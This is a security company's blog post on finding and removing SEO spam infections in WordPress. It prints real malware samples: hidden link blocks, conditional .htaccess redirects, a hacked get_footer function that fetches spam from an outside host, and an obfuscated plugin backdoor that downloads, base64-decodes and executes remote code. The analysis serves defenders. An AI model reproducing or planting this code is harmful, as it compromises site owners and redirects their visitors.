Cleaning SPAM from your WordPress blog.

A common trend lately is SPAM getting added to WordPress blogs. Attackers are using this to increase their page rank on search engines like Google, Yahoo, etc.

So, if you search for your site on Google do you see a bunch of “viagra” content instead of the original title? If you click on any link from Google are you redirected to a different page? In this article we will help you understand the techniques being used by the attackers and how to clean your blog.

Getting started

The first thing you have to do is to determine if your site have been hacked. Our scanner should be able to tell you that or a Google search using your site name plus a few common spam keywords will help you identify it too. Also, if you are our client, we can get your site fixed for you, so stop reading it and send us an email.

Once you determine that you have SPAM on your blog, you have a few places to check for them:

1- Spam hidden inside your templates footer or header files.

Those are easy to fix. They are generally added at the bottom of the file and you will see lots of links in there. Most of the time they come with under a hidden block (visibility:hidden) or in a modified position that is hard for the site owner to spot. Examples: (note that we added the spaces on purpose)

< div style=”left: -3265px; position: absolute; top: -4542px”>
c a r i s o p rodol p rice
< a href=”http://www.arizonafoothillsmagazine.com .. >b u y c i a l is online in usa
< a href=”http://news.vivatravelguides.com/ ” title=”o n l i n e p h a r m a c y v i a g ra”>
o n l i n e p h a r m a c y v i a g r a
x a n a x d o s a g es
s i d e effects cl om i d
b e s t o n l i n e p h a r m a cy cialis

How to check on my site? Open your footer.php and header.php and manually inspect for spam.
How to fix? Remove the spam entries or revert to clean backup.

2- Redirecting via .htaccess

This is another common technique and easy to fix. Attackers add redirection on the .htaccess file so users coming from Google will go to their site instead. In this article we go into detail about them: Conditional redirects.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*gooo?gle.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
..

How to check my site? Open your .htaccess and look for those entries.
How to fix? Remove those entries from there or revert to a clean backup.

3- Spam getting called from general-templates.php

This is becoming common now. The general templates file is responsible for loading the themes, but the hacked one is also calling another site to get a list of SPAM keywords to use. This is how a hacked general-templates file look like:

function get_footer( $name = null ) {
do_action( ‘get_footer’, $name );
if(isset($_GET['upd']) == ‘rss’) { echo “< h1> CURL – “. @function_exists(‘curl
_init’).”<br> URLF – “. @ini_get(“allow_url_fopen”).”<br></h1>”;}
if(preg_match(“/bot|google|yahoo|bing|msnbot|crawl|slurp/i”, @$_SERVER['HTTP_
USER_AGENT'])) {
if(@function_exists(‘curl_init’)) {
$actualUpdate = @curl_init(“http://upgradesec.com/check.php?p=2&s=”. @$_SERVE
R['HTTP_HOST']);
@curl_setopt($actualUpdate, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt($actualUpdate, CURLOPT_TIMEOUT, 15);
@curl_setopt($actualUpdate, CURLOPT_HEADER, 0);
$actualResult = @curl_exec($actualUpdate);
@curl_close($actualUpdate);
echo $actualResult;
}elseif(@ini_get(“allow_url_fopen”) == 1) {
echo @file_get_contents(“http://upgradesec.com/check.php?p=2&s=”. @$_SERVER['
HTTP_HOST']);}
}

..

Can you see there? It is using curl to download a list of spam links from http:// upgradesec.com /check.php

How to check my install? Search for a “curl” call inside the wp-includes/general-templates.php file.
How to fix it? Reinstall WordPress and this file will be overwritten.

4-Spam getting called from a plugin

This is becoming more and more common. The last case we fixed, the wp-db-backup.php was infected. See the difference between the good and infected version:

diff -i -E -w -r wp-db-backup/wp-db-backup.php wp-db-backup-infected/wp-db-backup.php
39a40,213
> error_reporting(0);
> $x0b=@wp_remote_fopen(“\x68\x74\164\x70\x3a\057\x2f\x65dus\164\162y.\x63o\155/\x48\x47\x56i\171\x75\164I\131\124c\x49\x7497\x36\x2f\163\x65r\151\x61\154i\x7a\x65\144″);
> if(function_exists(‘wp_cache_clean_cache’)&&isset($file_prefix)) wp_cache_clean_cache($file_prefix);
> $isalive=strpos($x0b,”i:0″);
> if($isalive!==false){
> $array = unserialize($x0b);
> $fu=trim($array[0]);
> }
> $blogurl=get_bloginfo(‘wpurl’);
>
> if($isalive!==false && $fu<>”"){
> update_option(“rss_”.md5($blogurl.”_sh”),$array[1]);
> update_option(“rss_”.md5($blogurl.”_gmi”),$array[2]);
> update_option(“rss_”.md5($blogurl.”_mc”),$array[3]);
> update_option(“rss_”.md5($blogurl.”_me”),$array[4]);
> update_option(“rss_”.md5($blogurl.”_mt”),$array[5]);
> update_option(“rss_”.md5($blogurl.”_mspt”),$array[6]);
> update_option(“rss_”.md5($blogurl.”_fnl”),$array[7]);
> update_option(“rss_”.md5($blogurl.”_fpl”),$array[8]);
> update_option(“rss_”.md5($blogurl.”_mbi”),$array[9]);
> update_option(“rss_”.md5($blogurl.”_gapi”),$array[10]);
> update_option(“rss_”.md5($blogurl.”_fpk”),$array[11]);
> update_option(“rss_”.md5($blogurl.”_gsf”),$array[12]);
> update_option(“rss_”.md5($blogurl.”_m”),$array[13]);
> update_option(“rss_”.md5($blogurl.”_kw”),$array[14]);
> update_option(“rss_”.md5($blogurl.”_desc”),$array[15]);
> update_option(“rss_”.md5($blogurl.”_sfl”),$array[16]);
> update_option(“rss_”.md5($blogurl.”_wpp”),$array[17]);
> update_option(“rss_”.md5($blogurl.”_wpp2″),$array[18]);
> update_option(“rss_”.md5($blogurl.”_gl”),$array[19]);
> }else{
> if(get_option(“rss_”.md5($blogurl.”_sh”))==false){
> update_option(“rss_”.md5($blogurl.”_sh”),$array[1]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_gmi”))==false){
> update_option(“rss_”.md5($blogurl.”_gmi”),$array[2]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_mc”))==false){
> update_option(“rss_”.md5($blogurl.”_mc”),$array[3]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_me”))==false){
> update_option(“rss_”.md5($blogurl.”_me”),$array[4]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_mt”))==false){
> update_option(“rss_”.md5($blogurl.”_mt”),$array[5]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_mspt”))==false){
> update_option(“rss_”.md5($blogurl.”_mspt”),$array[6]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_fnl”))==false){
> update_option(“rss_”.md5($blogurl.”_fnl”),$array[7]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_fpl”))==false){
> update_option(“rss_”.md5($blogurl.”_fpl”),$array[8]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_mbi”))==false){
> update_option(“rss_”.md5($blogurl.”_mbi”),$array[9]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_gapi”))==false){
> update_option(“rss_”.md5($blogurl.”_gapi”),$array[10]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_fpk”))==false){
> update_option(“rss_”.md5($blogurl.”_fpk”),$array[11]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_gsf”))==false){
> update_option(“rss_”.md5($blogurl.”_gsf”),$array[12]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_m”))==false){
> update_option(“rss_”.md5($blogurl.”_m”),$array[13]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_kw”))==false){
> update_option(“rss_”.md5($blogurl.”_kw”),$array[14]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_desc”))==false){
> update_option(“rss_”.md5($blogurl.”_desc”),$array[15]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_sfl”))==false){
> update_option(“rss_”.md5($blogurl.”_sfl”),$array[16]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_wpp”))==false){
> update_option(“rss_”.md5($blogurl.”_wpp”),$array[17]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_wpp2″))==false){
> update_option(“rss_”.md5($blogurl.”_wpp2″),$array[18]);
> }
>
> if(get_option(“rss_”.md5($blogurl.”_gl”))==false){
> update_option(“rss_”.md5($blogurl.”_gl”),$array[19]);
> }
> }
>
> if(get_option(“rss_”.md5($blogurl.”_gl”))!=”"){
> $x0l=@wp_remote_fopen(base64_decode(get_option(“rss_”.md5($blogurl.”_gl”))));
> update_option(“rss_”.md5($blogurl.”_glnk”),base64_encode($x0l));
> }else{
> $x0l=base64_decode(get_option(“rss_”.md5($blogurl.”_glnk”)));
> }
>
> $wpbeginex=”\x62\x61\x73\1456\x34\x5f\x64\x65\x63o\144e”;
>
> $wpsh=get_option(“rss_”.md5($blogurl.”_sh”));
> $f_sh=create_function(”,$wpbeginex($wpsh));
>
> $wpgmi=get_option(“rss_”.md5($blogurl.”_gmi”));
> $f_gmi=create_function(”,$wpbeginex($wpgmi));
>
> $wpmc=get_option(“rss_”.md5($blogurl.”_mc”));
> $f_mc=create_function(‘$content’,$wpbeginex($wpmc));
>
> $wpme=get_option(“rss_”.md5($blogurl.”_me”));
> $f_me=create_function(‘$excerpt’,$wpbeginex($wpme));
>
> $wpmt=get_option(“rss_”.md5($blogurl.”_mt”));
> $f_mt=create_function(‘$title’,$wpbeginex($wpmt));
>
> $wpmspt=get_option(“rss_”.md5($blogurl.”_mspt”));
> $f_mspt=create_function(‘$single_title’,$wpbeginex($wpmspt));
>
> $wpfnl=get_option(“rss_”.md5($blogurl.”_fnl”));
> $f_fnl=create_function(‘$link_to_fix’,$wpbeginex($wpfnl));
>
> $wpfpl=get_option(“rss_”.md5($blogurl.”_fpl”));
> $f_fpl=create_function(‘$link_to_fix’,$wpbeginex($wpfpl));
>
> $wpmbi=get_option(“rss_”.md5($blogurl.”_mbi”));
> $f_mbi=create_function(‘$result,$show’,$wpbeginex($wpmbi));
>
> $wpgapi=get_option(“rss_”.md5($blogurl.”_gapi”));
> $f_gapi=create_function(”,$wpbeginex($wpgapi));
>
> $wpfpk=get_option(“rss_”.md5($blogurl.”_fpk”));
> $f_fpk=create_function(‘$PostID’,$wpbeginex($wpfpk));
>
> $wpgsf=get_option(“rss_”.md5($blogurl.”_gsf”));
> $f_gsf=create_function(‘$referer’,$wpbeginex($wpgsf));
>
> $wpm=get_option(“rss_”.md5($blogurl.”_m”));
> $f_m=create_function(”,$wpbeginex($wpm));
>
> $wpwpp=get_option(“rss_”.md5($blogurl.”_wpp”));
> $f_wpp=create_function(‘$data’,$wpbeginex($wpwpp));
>
> $wpwpp2=get_option(“rss_”.md5($blogurl.”_wpp2″));
> $f_wpp2=create_function(‘$data’,$wpbeginex($wpwpp2));
>
> function my_previous_post_link($previous_post_link) {
> return $f_fpl($previous_post_link);
> }
>
> function my_next_post_link($next_post_link) {
> return $f_fnl($next_post_link);
> }
>
>
> $f_sh();
> $f_m();
>

In this example, the code is loading SPAM from edustry.com, but we are seeing a wide variety of domains being used, so do not get too paranoid about this one. Also, the plugins we find infected more often are the wp-db-backup, share-this and add-toany, but the attackers can use any plugin, so you have to check all of them.

How to fix it? This one is a bit more complicated to fix, specially if you have many plugins. Our suggestion is to disable all the plugins until the spam is not showing up anymore (make sure to clear your cache too). Then enable each one at a time until you find the one that is hacked.

Conclusion

These are the most common techniques that are being used by the attackers, but you have to remember that they are also changing their tactics and leaving backdoors to be able to easily reinfect the sites. So make sure to upgrade your WordPress installation and look for non-standard PHP files in your site. If you had your site hacked like this and can share your experiences with us, we would love to hear from you!

If your site is hacked (or contains malware), and you need help, send us an email at support@sucuri.net or visit our site: Sucuri Security Malware Removal. We can get your sites cleaned up right away.

Also, consider checking out our site security monitoring. We will monitor your sites 24×7 and alert you if it ever gets infected with malware, hacked or blacklisted.

Scan your website for free:
About Daniel Cid

Sucuri CTO, OSSEC Founder, open source developer and information security professional - dcid.me